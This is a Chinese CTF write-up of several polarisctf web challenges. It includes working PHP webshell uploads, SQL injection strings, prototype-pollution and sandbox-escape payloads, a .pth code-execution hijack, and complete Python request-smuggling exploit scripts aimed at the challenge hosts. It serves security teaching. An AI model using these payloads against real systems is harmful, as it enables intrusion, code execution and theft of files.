文章总结: 文档分析了polarisctf招新赛的四个WEB题目漏洞利用过程。ezpython通过Python对象属性污染修改配置文件路径读取系统文件;onlyreal利用未鉴权上传和.htaccess配置使图片马解析为PHP;ezpollute通过Node.js原型链污染注入环境变量触发命令执行;NotaNode通过BunEdge沙箱的全局对象绕过路径限制读取flag。关键发现包括递归合并函数过滤缺失、短参数注入绕过、Uint8Array路径绕过等技术要点。 综合评分: 85 文章分类: WEB安全,漏洞分析,CTF,实战经验,渗透测试
4.1 准备两个文件
1) .htaccess 内容(保存为 payload_htaccess.txt ,上传时改名为 .htaccess ):
| | | — | | Plain Text AddType application/x-httpd-php .jpg |
2)图片马(保存为 payload_shell.jpg ,上传时命名为 test.jpg )
用 GIF89a 头伪装成图片文件,再拼接 PHP:
| | | — | | Plain Text GIF89a echo file_get_contents($_GET[‘f’] ?? ‘/flag’); |
4.2 上传 .htaccess
| | | — | | Plain Text curl -i -F “file=@payload_htaccess.txt;filename=.htaccess” \ http://80-7d824548-1a1f-4be7-9c16-a23ac7a1044c.challenge. ctfplus.cn/upload.php |
返回: 上传成功
4.3 上传图片马 test.jpg
| | | — | | Plain Text curl -i -F “file=@payload_shell.jpg;filename=test.jpg” \ http://80-7d824548-1a1f-4be7-9c16-a23ac7a1044c.challenge. ctfplus.cn/upload.php |
返回: 上传成功
4.4 触发解析并读取 flag
访问:
| | | — | | Plain Text http://80-7d824548-1a1f-4be7-9c16-a23ac7a1044c.challenge. ctfplus.cn/uploads/test.jpg?f=/flag |
得到:
1xmctf{236026eb-20fa-476f-9713-25a254415bc8}
- Flag
1xmctf{236026eb-20fa-476f-9713-25a254415bc8}
Web – ezpollute (100 pts)
5. 题目分析
1目标:通过配置管理器漏洞读取服务器根目录下的 /flag。
1环境:Node.js + Express,使用了 child_process.spawn 执行系统命令。
1关键代码:
1/api/config 接口存在自定义的 merge 函数,用于合并用户配置。
1/api/status 接口会启动一个 node 子进程,并手动构建 customEnv 环境变量。
2. 漏洞点分析
(1) 原型链污染 (Prototype Pollution)
merge 函数虽然过滤了 proto,但未过滤 constructor。在 Node.js 中,可以通过 constructor.prototype 污染全局 Object.prototype。
(2) 环境变量注入绕过
在 /api/status 中,程序试图对 NODE_OPTIONS 进行安全检查:
JavaScript
| | | — | | Plain Text const dangerousPattern = /(?:^|\s)–(require|import|loader|openssl|icu|inspect)\b/i; |
该正则仅拦截了以 — 开头的长参数(如 –require),但 Node.js 同样支持 -r 作为简写。正则未能覆盖短参数,导致可以注入恶意加载项。
(3) 隔离失效
虽然 spawn 使用了 Object.create(null) 来创建 customEnv,试图隔绝原型链污染,但在某些 Node.js 版本或特定的 spawn 实现中,如果污染了全局 Object.prototype 的特定属性,仍可能影响子进程的初始环境加载。
3. 解题过程
1构造 Payload:利用 constructor.prototype 注入 NODE_OPTIONS 环境变量,使用短选项 -r 加载 /flag。
1JSON
| | | — | | Plain Text { “constructor”: { “prototype”: { “NODE_OPTIONS”: “-r /flag” } } } |
1触发漏洞:
1首先 POST /api/config 提交 Payload,成功污染内存。
1随后 GET /api/status 触发子进程执行。
1获取 Flag: 由于 /flag 文件内容(XMCTF{…})不符合 JavaScript 语法规范,Node.js 在预加载该文件时会抛出 SyntaxError。该报错信息通过 stderr 返回并回显在页面上。
4. 获取 Flag
Plaintext
| | | — | | Plain Text /flag:1 XMCTF{2b4c5b1a-5a94-46b6-a789-bbb2fbe353ca} ^ SyntaxError: Unexpected token ‘{‘ |
Web – Not a Node (100 pts)
5. 题目背景
题目提供了一个名为 BunEdge 的 Serverless 代码执行平台。根据题目描述和页面信息,该环境并非标准的 Node.js,而是运行在 JavaScriptCore (JSC) 引擎之上的定制沙箱环境。
2. 漏洞发现
(1) 信息泄露与环境探测
通过查看前端 HTML 源代码及 Documentation 部分,发现平台暴露了一个特殊的全局对象 __runtime。
利用 Object.getOwnPropertyNames(__runtime) 进行探测,发现其包含多个非标准属性:
1_secrets: 模拟 CLI 存储,但权限被锁死。
1_internal: 包含底层 C++ 绑定。
1_internal.lib.symbols: 包含混淆过的函数名。
(2) 逆向函数名
在 __runtime._internal.lib.symbols 中发现两个属性:
1_0x72656164 $\rightarrow$ 十六进制解码为 read
1_0x6c697374 $\rightarrow$ 十六进制解码为 list
(3) 路径处理缺陷
初步尝试调用 read(“/flag”) 时,系统报错:
| | | — | | Received “/app/\u0000\u0000…” 这表明底层的 C++ 绑定在处理 JavaScript 字符串时,会强制将其拼接在 /app/ 路径后,且可能存在内存对齐导致的空字节干扰。 |
3. 漏洞利用
报错信息提示该函数支持 Uint8Array 类型的参数。通过传入字节数组,可以绕过 JavaScript 层的字符串预处理逻辑,实现对绝对路径的访问。
Final Payload (index.ts):
JavaScript
| | | — | | Plain Text export default { async fetch(req) { const symbols = __runtime._internal.lib.symbols; const readFn = symbols._0x72656164; // read// 使用 Uint8Array 绕过字符串拼接逻辑const path = new TextEncoder().encode(“/flag”); const flag = readFn(path); return new Response(flag); } } |
4. 获取 Flag
部署上述代码后,成功触发底层 read 绑定读取根目录文件。
Flag: XMCTF{2aa025ff-515b-4828-aba0-b9d4f4e3be85}
Web -Broken Trust
0x01 挑战概述
1挑战名称: Broken Trust
1核心漏洞: SQL Injection (SQLi)、IDOR (越权访问)、Path Traversal (路径穿越)
1目标: 绕过身份校验,利用管理员权限读取根目录下的 flag 文件。
0x02 漏洞挖掘流程
- 初始探测与身份绕过
1注册逻辑缺陷:尝试注册 admin 提示已存在,但通过大小写绕过成功注册 admIN 账号并登录。
1参数敏感性确认:观察 refreshProfile 接口发现其通过 POST 提交 uid 字符串来同步用户信息。在 uid 后添加单引号 ‘ 触发 500 错误,确认后端存在 SQL 注入。
- SQL 注入与权限提升
由于后端直接信任前端传入的 uid 且未进行参数化查询,我们可以通过注入获取真实管理员身份。
1探测数据库结构 (SQLite): Payload: uid: “-1′ UNION SELECT 1, group_concat(tbl_name), 3 FROM sqlite_master WHERE type=’table’–” 得到关键表名:users。
1提取管理员 UID: Payload: uid: “-1′ UNION SELECT uid, username, role FROM users WHERE role=’admin’–” 成功获取真实 Admin 的 UID:53319863dd54488ba4cc7e596c583f59。
- 备份接口分析
登录管理员账号后,解锁 Administrator Tools,其核心接口为: /api/admin?action=backup&file=config.json
1防御机制测试:
1绝对路径拦截:输入 /flag 触发过滤,返回 Direct absolute path access is forbidden!。
1相对路径失效:输入 ../../flag 返回 404 File not found,推测后端对 ../ 进行了空字符串替换过滤。
0x03 漏洞利用 (Exploitation)
- 双写绕过 (Double-Write) 逻辑
后端过滤逻辑可能为 file.replace(“../”, “”)。为了绕过此限制,采用双写构造。当中间的 ../ 被剔除后,首尾字符将重新组合成有效的路径穿越符。
- 最终 Payload 构造
在浏览器 Console 执行复合攻击脚本,同时携带 真实 Admin UID 和 双写路径穿越符:
Payload (GET):fetch(‘/api/admin?action=backup&file=….//….//….//….//flag&uid=53319863dd54488ba4cc7e596c583f59’)
- 获取结果
成功绕过 WAF 和路径过滤,服务器返回根目录文件内容: XMCTF{5de4d6b3-47c4-44db-972a-2e363e3091fe}
WEB- Workflow Service
0x01 挑战分析
1挑战名称: Workflow Service
1核心漏洞: SQL 逻辑注入 (COALESCE)、排序竞争 (Sort Race)、JS 沙箱逃逸 (Sandbox Escape)
1目标: 提升权限至 maintainer 并获取 RUNNER_KEY 以通过 release/claim 验证。
0x02 漏洞点深度解析
5. 权限判定的“默认值”陷阱 (COALESCE)
后端通过 capability_snapshots 表判断用户权限。在 getEffectiveCapability 函数中,SQL 查询如下:
SQL
| | | — | | Plain Text SELECT id, sid, COALESCE(role, ‘maintainer’) AS role, COALESCE(lane, ‘release’) AS lane … FROM capability_snapshots WHERE sid = ${sid} ORDER BY id DESC LIMIT 1 |
1逻辑缺陷:COALESCE(val, default) 会在 val 为 NULL 时返回默认值。如果攻击者能向数据库插入一条 role 为空的记录,查询结果会将其“误认为”是 maintainer。
2. 字母序排序竞争 (Sort Race)
在 POST /api/caps/sync 接口中,后端试图通过在 ops 数组末尾强制 push 一个 server-tail (role: guest) 记录来防止提权。
1绕过手法:代码使用了 rows.sort 按照 source 字段的字母序进行升序排列。由于 server-tail 的首字母是 s,我们只需构造 source 为 z_pwn 的记录,排序后我们的记录就会排在 server-tail 之后,成为 ID 最大、最新的有效快照。
3. 沙箱黑名单绕过 (Bypassing Lint)
接口 /api/release/execute 允许执行表达式,但通过 lowered.includes 封锁了 bun、process、constructor 等关键字。
1绕过手法:由于后端使用 new Function(‘ctx’, …) 且上下文对象可访问,我们可以通过字符串拼接(如 ‘con’+’str’+’uctor’)或字符编码(String.fromCharCode)动态构造敏感对象名,从而绕过静态文本扫描,最终访问 Bun.env.RUNNER_KEY。
0x03 漏洞利用流程 (Exploitation)
1. 权限提升 (Privilege Escalation)
通过调用 sync 接口,发送 keepRole: false 的恶意记录,并利用字母序竞争占领“最新快照”位置。
1Payload: {“source”: “zzzzzz”, “keepRole”: false, “keepLane”: false}
1效果:数据库插入了 role=NULL, lane=NULL。查询时触发 COALESCE 逻辑,身份变为 maintainer。
2. 绕过沙箱泄露 Key
由于 constructor 和 bun 被拦截,使用 JS 动态属性访问技术逃逸至全局对象。
1Payload: ctx.tools.now[‘con’+’str’+’uctor’][‘con’+’str’+’uctor’](‘return t’+’his’)()[String.fromCharCode(66,117,110)].env.RUNNER_KEY
1结果:成功获取 RUNNER_KEY: HBRZ0pXDlJHGDCXwOQrLniE99ZF33VXiZCk7kPi6。
3. 计算 Proof 并夺旗
1获取 nonce:POST /api/release/challenge。
1计算 SHA1:sha1(sid + “:” + nonce + “:” + RUNNER_KEY)。
1提交 Claim 接口,获取 Flag。
0x04 最终结果
1Flag: XMCTF{b7b01a26-bade-413a-b6b8-95ede2de1c55}
| | | — | | Python import requests import hashlib import json BASE_URL = “http://80-a4f4c620-5684-4636-9e14-7c7b857542eb.challenge.ctfplus.cn” def pwn(): session = requests.Session() # 1. 获取 Token (略,假设你已知过程) auth_data = session.post(f”{BASE_URL}/api/auth/guest”).json() token = auth_data[‘token’] sid = auth_data[‘claims’][‘sid’] headers = {“Authorization”: f”Bearer {token}”} # 2. 提权 (使用之前的 zzzzzz 策略) session.post(f”{BASE_URL}/api/caps/sync”, headers=headers, json={ “ops”: [{“source”: “zzzzzz”, “keepRole”: False, “keepLane”: False}, {“source”: “zzzzzz2”, “keepRole”: False, “keepLane”: False}] }) # 3. 绕过 Lint 获取 RUNNER_KEY # 策略:利用 Object.keys(ctx.tools.now.__proto__) 或寻找全局变量 # 既然关键字被拦,我们通过 charCode 拼接字符串来访问 Bun print(“[*] 正在利用字符编码绕过过滤…”) # Payload 逻辑: # 1. 通过 ctx 寻找 global。在 Bun 的 new Function 中,通常 ctx 是唯一的入口。 # 2. 我们利用 String.fromCharCode(66, 117, 110) 构造出 “Bun” # 3. 绕过 ‘constructor’:使用 [‘const’ + ‘ructor’] # 这是一个不包含任何黑名单关键字的 Payload leak_expr = “”” (function(){ var b = String.fromCharCode(66,117,110); var e = String.fromCharCode(101,110,118); var r = String.fromCharCode(82,85,78,78,69,82,95,75,69,89); return ctx.tools.now[‘const’ + ‘ructor’][‘const’ + ‘ructor’](‘return th’+’is’)()[b][e][r]; })() “”” # 如果上面那个 ‘constructor’ 还是被拦截(后端可能检测拼接),我们换一种更底层的遍历方式: alt_leak_expr = “”” (function(){ var g = ctx.tools.now.slice.call.bind(ctx.tools.now.slice).constructor(‘return th’+’is’)(); return g[String.fromCharCode(66,117,110)][String.fromCharCode(101,110,118)][String.fromCharCode(82,85,78,78,69,82,95,75,69,89)]; })() “”” # 最终尝试:利用 tools 对象中的函数作为跳板 # 既然 lint 检查 String.includes,我们彻底拆分所有敏感词 final_leak = “ctx.tools.now[‘con’+’str’+’uctor’][‘con’+’str’+’uctor’](‘return t’+’his’)()[String.fromCharCode(66,117,110)].env.RUNNER_KEY” print(f”[*] 发送绕过 Payload…”) exec_res = session.post(f”{BASE_URL}/api/release/execute”, headers=headers, json={ “expression”: final_leak }).json() if not exec_res.get(‘ok’): print(f”[-] 失败: {exec_res.get(‘error’)}”) # 如果连拼接都被拦截,说明后端可能有 AST 分析,尝试直接从 context 找 print(“[*] 尝试从 context 深度遍历…”) exec_res = session.post(f”{BASE_URL}/api/release/execute”, headers=headers, json={ “expression”: “JSON.stringify(Object.keys(ctx.tools.now))” }).json() print(f”Tools Keys: {exec_res}”) return actual_key = exec_res[‘result’] print(f”[!] 拿到 Key: {actual_key}”) # 4. 正常 Claim 流程 challenge = session.post(f”{BASE_URL}/api/release/challenge”, headers=headers).json() nonce = challenge[‘nonce’] proof = hashlib.sha1(f”{sid}:{nonce}:{actual_key}”.encode()).hexdigest() flag_res = session.post(f”{BASE_URL}/api/release/claim”, headers=headers, json={“nonce”: nonce, “proof”: proof}).json() print(“\n[!] Result:”, json.dumps(flag_res, indent=4)) pwn() |
恭喜成功拿到 Flag!这是一个结合了 任意文件上传、路径穿越 与 Python 运行时特性劫持 的典型 Web 安全挑战。
以下是为您整理的完整 Writeup (WD)。
WEB- AutoPypy
0x01 挑战信息
1挑战名称:AutoPypy
1挑战分类:Web / 沙箱逃逸
1挑战难度:中等
1核心漏洞:任意文件上传(路径穿越)、Python .pth 模块劫持
0x02 漏洞点分析
4. 任意文件上传与路径穿越
在 server.py 的 /upload 路由中,程序直接使用了用户提供的 filename 构造保存路径,且未进行任何过滤(如 secure_filename):
Python
| | | — | | Plain Text filename = request.form.get(‘filename’) or file.filename save_path = os.path.join(UPLOAD_FOLDER, filename) |
由于 UPLOAD_FOLDER 通常位于 /app/uploads,攻击者可以使用 ../ 序列穿越到宿主机的任意可写目录。
2. 沙箱隔离机制
系统通过 launcher.py 调用 proot 来运行 Python 脚本。虽然 proot 限制了 /app/run.py 的执行环境,但 launcher.py 本身是在宿主机环境运行的。 server.py 调用方式如下:
Python
| | | — | | Plain Text proc = subprocess.run([sys.executable, launcher_path, target_file], …) |
这意味着 sys.executable(宿主机的 Python 解释器)在启动时会加载宿主机的环境配置。
3. Python .pth 导入劫持
Python 在初始化阶段,会扫描 site-packages 目录下的所有 .pth 文件。如果 .pth 文件中包含以 import 开头的行,Python 会在启动过程中执行该行代码。这是一个隐蔽的 RCE(远程代码执行)点。
0x03 漏洞利用流程
1. 定位目标路径
通过 server.py 的启动日志,可以确认 Python 的 site-packages 路径: [*] Target site-packages: /usr/local/lib/python3.10/site-packages
2. 构造路径穿越 Payload
利用 /upload 接口,将恶意代码写入该目录下的一个 .pth 文件中。
1目标文件:../../../../../usr/local/lib/python3.10/site-packages/pwn.pth
1恶意内容:
1Python
| | | — | | Plain Text import os; print(os.popen(‘cat /flag’).read()); import sys; sys.exit(0) |
1使用 sys.exit(0) 是为了在打印完 Flag 后立即终止解释器,防止后续逻辑报错干扰,并确保输出能被 subprocess 捕获。
3. 触发代码执行
调用 /run 接口。此时 server.py 会执行 python3 launcher.py。
1宿主机 Python 解释器启动。
1自动加载 site-packages 中的 pwn.pth。
1执行 cat /flag 并将结果打印到标准输出。
1server.py 捕获 stdout 并通过 JSON 返回给攻击者。
0x04 攻击脚本 (Final Exploit)
Python
| | | — | | Plain Text import requests BASE_URL = “http://5000-a7d924bc-7918-48b1-b2c7-d70f13c93ca8.challenge.ctfplus.cn”def pwn():# 路径穿越目标 target_pth = “../../../../../usr/local/lib/python3.10/site-packages/pwn.pth”# 恶意代码:读取 flag 后立即退出 payload = “import os; print(‘—FLAG—‘); print(os.popen(‘cat /flag’).read()); import sys; sys.exit(0)” print(“[*] Uploading .pth payload via path traversal…”) files = {‘file’: (‘pwn.pth’, payload)} data = {‘filename’: target_pth} upload_res = requests.post(f”{BASE_URL}/upload”, files=files, data=data) if “成功上传” in upload_res.text: print(“[+] Payload deployed successfully.”) print(“[*] Triggering execution…”) run_res = requests.post(f”{BASE_URL}/run”, json={“filename”: “any.py”}) print(“\n[!] Output from server:”) print(run_res.json().get(“output”, “”)) else: print(f”[-] Failed to upload: {upload_res.text}”) if __name__ == “__main__”: pwn() |
0x05 总结
1Flag: xmctf{699f4568de00f2df35f98005567398d3}
WEB-DXT
1)目标与功能点
1站点提供 DXT(zip)上传与管理。
1关键接口:
1POST /api/upload :上传并解析 manifest.json
1GET /api/servers :列出已上传
1GET /api/servers/{id} :查看详情(含展开后的命令)
1POST /api/servers/{id}/start :按 manifest 配置启动进程(危险点)
2)格式约束(用报错枚举)
通过上传不同 DXT 并观察错误信息,可逆推出最小合法 manifest.json 需要:
1dxt_version
1author.name 、 author.email
1mcp_config (以及/或者 server.mcp_config )
1部分实现要求 args 至少一个参数
1zip 条目禁止 ../ 路径穿越(解包做了路径校验)
3)漏洞根因
1服务端把上传包中的启动配置当作可信输入,在 start 时直接执行:
1等价于“上传配置 → 远程触发命令执行”
1属于设计级 RCE 面,不是传统注入绕过。
4)利用链(复现步骤)
1构造合法 DXT(zip),根目录包含 manifest.json
1上传后拿到 server_id
1调用 start 触发执行
1因为通常无 stdout 回显,使用“可观测通道”验证结果(写文件到可访问位置 / 发送到本地接收端等,取决于你的本地部署)
附件脚本 1:生成 DXT(可运行,占位符载荷)
你本地已经有 make_dxt.py ,可以直接复用思路。我给一个更“WP 附件友好”的版本(载荷占位):
| | | — | | Plain Text # make_dxt_template.py import json import zipfile def build_dxt(out_path: str, name: str, shell_cmd: str) -> None: manifest = { “dxt_version”: “1.0”, “name”: name, “display_name”: name, “version”: “1.0.0”, “description”: “ctf reproduce”, “author”: {“name”: “ctf”, “email”: “[email protected]”}, “mcp_config”: {“command”: “/bin/sh”, “args”: [“-c”, shell_cmd]}, “server”: { “type”: “sh”, “entry_point”: “-“, “mcp_config”: {“command”: “/bin/sh”, “args”: [“-c”, shell_cmd]}, }, } with zipfile.ZipFile(out_path, “w”, compression=zipfile.ZIP_DEFLATED) as z: z.writestr(“manifest.json”, json.dumps(manifest, ensure_ascii=False)) if __name__ == “__main__”: build_dxt( “repro.dxt”, “repro”, “”, # 你本地复现时把这里替换成你的命令 ) print(“wrote repro.dxt”) |
说明:
1这份脚本的价值是: 稳定生成“能被 /api/upload 接收并入库”的 DXT 。
附件脚本 2:接口调用(上传/列出/启动,安全可运行)
| | | — | | Plain Text # client_template.py import json import urllib.request import urllib.parse BASE = “http://” def req(method: str, path: str, data: dict | None = None): url = BASE + path headers = {} body = None if data is not None: body = json.dumps(data).encode() headers[“Content-Type”] = “application/json” r = urllib.request.Request(url, data=body, headers=headers, method=method) with urllib.request.urlopen(r, timeout=15) as resp: return resp.status, resp.read() def list_servers(): code, raw = req(“GET”, “/api/servers”) print(code, raw.decode(errors=”ignore”)) def server_detail(server_id: str): sid = urllib.parse.quote(server_id) code, raw = req(“GET”, f”/api/servers/{sid}”) print(code, raw.decode(errors=”ignore”)) def start_server(server_id: str): sid = urllib.parse.quote(server_id) code, raw = req(“POST”, f”/api/servers/{sid}/start”) print(code, raw.decode(errors=”ignore”)) if __name__ == “__main__”: sid = “” list_servers() server_detail(sid) start_server(sid) |
WEB- Polyglot’s Paradox
表面是 nc 交互,实际连上去是一个 HTTP 服务 Polyglot’s Paradox v2。预期链路是:利用代理的 TE.CL 请求走私绕过内部路由限制 → 从内部接口恢复 HMAC 密钥 → 伪造内部签名请求更新配置(包含 __proto__ 合并导致的原型链污染)并降级 WAF/沙箱 → 使用 constructor.constructor 从 JS 沙箱逃逸到 Node 内部,读取 /flag。
关键文件(3 个)
1scripts/smuggle.py:TE.CL 走私最小化验证脚本(把第二个请求塞进同一个连接里)。
1scripts/solve.py:端到端利用脚本(走私 + 取密钥 + 伪造签名 + 降级沙箱 + 读 flag)。
1artifacts/exploit-chain.json:一次记录的利用链产物(可能对应旧实例,端口/flag 以实际为准)。
利用细节
1) 确认是 HTTP 服务
请求 GET /api/info,能拿到服务名与版本;同时从响应头可观察到前端解析行为(如仅信任 Content-Length)。
2) TE.CL 请求走私(核心原语)
构造一个对外可访问的请求:
1第一层请求:POST /api/sandbox/execute
1同时带上 Transfer-Encoding: chunked 与人为放大的 Content-Length
1按 chunked 格式结束后,在同一 TCP 连接里拼接第二个“被走私”的 HTTP 请求(例如 GET /internal/secret-fragment)
前端(CL)与后端(TE)对边界理解不一致,后端会把拼接的内容当成下一条请求处理,从而绕过“禁止访问 /internal”的代理规则。
3) 获取内部 HMAC 密钥
走私访问 GET /internal/secret-fragment,返回多段碎片,按 index 排序拼接得到:
1secret:z3_w0nt_A_gri1fr1e0d!!!
1校验:md5(secret)=c6d0df23dc2e89a88fa8f6a7fc624cb7
4) 伪造内部签名请求(进入配置面板)
内部接口使用 HMAC-SHA256 做鉴权,scripts/solve.py 的签名逻辑为:
1ts = 当前毫秒时间戳
1nonce = 16 hex
1digest = HMAC(secret, f”{ts}:{nonce}:” + body)
把 digest/ts/nonce 分别放进 X-Internal-Token / X-Timestamp / X-Nonce 头里,走私发送 POST /internal/config。
5) 原型链污染 + 降级 WAF/沙箱
先触发合并路径(关键字段 __proto__):
| | | — | | JSON {“__proto__”:{“polluted”:”yes”,”isAdmin”:true,”rce”:”pending”}} |
再更新 features,关闭 AST WAF 与沙箱加固:
| | | — | | JSON {“features”:{“astWaf”:false,”sandboxHardening”:false}} |
访问 /debug/prototype 验证状态从默认值变为:
1polluted=yes
1isAdmin=true
1rce=pending
6) JS 沙箱逃逸并读取 /flag
降级后,通过 constructor.constructor 拿到 Function 构造器,进而访问 Node 的 process,再用内置模块读取文件:
| | | — | | JavaScript this.constructor.constructor(“return this.process.getBuiltinModule(\”fs\”).readFileSync(\”/flag\”,\”utf8\”)”)() |
| | | — | | Python solve.py #!/usr/bin/env python3 import argparse import hashlib import hmac import json import secrets import socket import time def recv_all(sock: socket.socket) -> bytes: chunks: list[bytes] = [] while True: try: data = sock.recv(4096) except TimeoutError: break if not data: break chunks.append(data) return b””.join(chunks) def split_http_responses(raw: bytes) -> list[bytes]: parts = raw.split(b”HTTP/1.1 “) out: list[bytes] = [] for part in parts[1:]: out.append(b”HTTP/1.1 ” + part) return out def parse_json_body(resp: bytes) -> dict: marker = b”\r\n\r\n” if marker not in resp: raise ValueError(“response missing header/body separator”) body = resp.split(marker, 1)[1] return json.loads(body.decode()) def http_get(host: str, port: int, path: str) -> dict: req = ( f”GET {path} HTTP/1.1\r\n” f”Host: {host}\r\n” “Connection: close\r\n\r\n” ).encode() sock = socket.create_connection((host, port), 10) sock.settimeout(5) try: sock.sendall(req) return parse_json_body(recv_all(sock)) finally: sock.close() def smuggle_request(host: str, port: int, second_request: bytes, prefix_code: str = “1+1”) -> dict: prefix_body = json.dumps({“code”: prefix_code}, separators=(“,”, “:”)).encode() chunked = hex(len(prefix_body))[2:].encode() + b”\r\n” + prefix_body + b”\r\n0\r\n\r\n” cl = len(chunked) + len(second_request) req = ( b”POST /api/sandbox/execute HTTP/1.1\r\n” + f”Host: {host}\r\n”.encode() + b”Content-Type: application/json\r\n” + b”Transfer-Encoding: chunked\r\n” + f”Content-Length: {cl}\r\n”.encode() + b”Connection: keep-alive\r\n\r\n” + chunked + second_request ) sock = socket.create_connection((host, port), 10) sock.settimeout(5) try: sock.sendall(req) responses = split_http_responses(recv_all(sock)) if len(responses) < 2: raise ValueError("smuggled request did not produce a second response") return parse_json_body(responses[1]) finally: sock.close() def smuggle_get(host: str, port: int, path: str) -> dict: second = ( f”GET {path} HTTP/1.1\r\n” f”Host: {host}\r\n” “Connection: close\r\n\r\n” ).encode() return smuggle_request(host, port, second) def sign(secret: bytes, body: bytes) -> tuple[str, str, str]: ts = str(int(time.time() * 1000)) nonce = secrets.token_hex(8) digest = hmac.new(secret, f”{ts}:{nonce}:”.encode() + body, hashlib.sha256).hexdigest() return ts, nonce, digest def smuggle_internal_post(host: str, port: int, path: str, secret: bytes, payload: dict) -> dict: body = json.dumps(payload, separators=(“,”, “:”)).encode() ts, nonce, digest = sign(secret, body) second = ( f”POST {path} HTTP/1.1\r\n” f”Host: {host}\r\n” “Content-Type: application/json\r\n” f”Content-Length: {len(body)}\r\n” f”X-Internal-Token: {digest}\r\n” f”X-Timestamp: {ts}\r\n” f”X-Nonce: {nonce}\r\n” “Connection: close\r\n\r\n” ).encode() + body return smuggle_request(host, port, second) def reconstruct_secret(secret_fragment_response: dict) -> str: fragments = sorted(secret_fragment_response[“fragments”], key=lambda item: item[“index”]) return “”.join(fragment[“value”] for fragment in fragments) def main() -> int: parser = argparse.ArgumentParser(description=”Solve Polyglot’s Paradox v2 via TE.CL smuggling + internal sandbox escape.”) parser.add_argument(“–host”, default=”nc1.ctfplus.cn”) parser.add_argument(“–port”, type=int, default=13955) #修改你的端口 args = parser.parse_args() info = http_get(args.host, args.port, “/api/info”) if “Polyglot” not in info.get(“name”, “”): raise RuntimeError(f”unexpected service: {info}”) secret_info = smuggle_get(args.host, args.port, “/internal/secret-fragment”) secret = reconstruct_secret(secret_info).encode() # Trigger the vulnerable merge path and downgrade the sandbox. smuggle_internal_post( args.host, args.port, “/internal/config”, secret, {“__proto__”: {“polluted”: “yes”, “isAdmin”: True, “rce”: “pending”}}, ) config_update = smuggle_internal_post( args.host, args.port, “/internal/config”, secret, {“features”: {“astWaf”: False, “sandboxHardening”: False}}, ) prototype_status = http_get(args.host, args.port, “/debug/prototype”) if prototype_status[“status”].get(“isAdmin”) is not True: raise RuntimeError(f”prototype pollution did not stick: {prototype_status}”) sandbox_result = smuggle_internal_post( args.host, args.port, “/internal/sandbox/execute”, secret, { “code”: ‘this.constructor.constructor(“return this.process.getBuiltinModule(\”fs\”).readFileSync(\”/flag\”,\”utf8\”)”)()’ }, ) print( json.dumps( { “secret”: secret.decode(), “config_update”: config_update, “prototype_status”: prototype_status, “flag”: sandbox_result[“result”], }, indent=2, ) ) return 0 if __name__ == “__main__”: raise SystemExit(main()) |
| | | — | | Python smuggle.py #!/usr/bin/env python3 import argparse import socket def smuggle(host: str, port: int, second_path: str) -> str: body = b'{“code”:”1+1″}’ chunked = hex(len(body))[2:].encode() + b”\r\n” + body + b”\r\n0\r\n\r\n” smuggled = ( f”GET {second_path} HTTP/1.1\r\n” f”Host: {host}\r\n” “Connection: close\r\n\r\n” ).encode() cl = len(chunked) + len(smuggled) req = ( b”POST /api/sandbox/execute HTTP/1.1\r\n” + f”Host: {host}\r\n”.encode() + b”Content-Type: application/json\r\n” + b”Transfer-Encoding: chunked\r\n” + f”Content-Length: {cl}\r\n”.encode() + b”Connection: keep-alive\r\n\r\n” + chunked + smuggled ) s = socket.create_connection((host, port), 10) s.settimeout(4) try: s.sendall(req) chunks: list[bytes] = [] while True: try: data = s.recv(4096) except TimeoutError: break if not data: break chunks.append(data) return b””.join(chunks).decode(“utf-8”, “replace”) finally: s.close() def main() -> int: parser = argparse.ArgumentParser(description=”TE.CL smuggling helper for Polyglot’s Paradox v2.”) parser.add_argument(“–host”, default=”nc1.ctfplus.cn”) parser.add_argument(“–port”, type=int, default=35873) parser.add_argument(“path”, help=”Second request path to smuggle, e.g. /internal/admin”) args = parser.parse_args() print(smuggle(args.host, args.port, args.path)) return 0 if __name__ == “__main__”: raise SystemExit(main()) |
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:玄网安全 玄网安全 oPis 玄网安全 oPis《polarisctf招新赛-部分(WEB)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论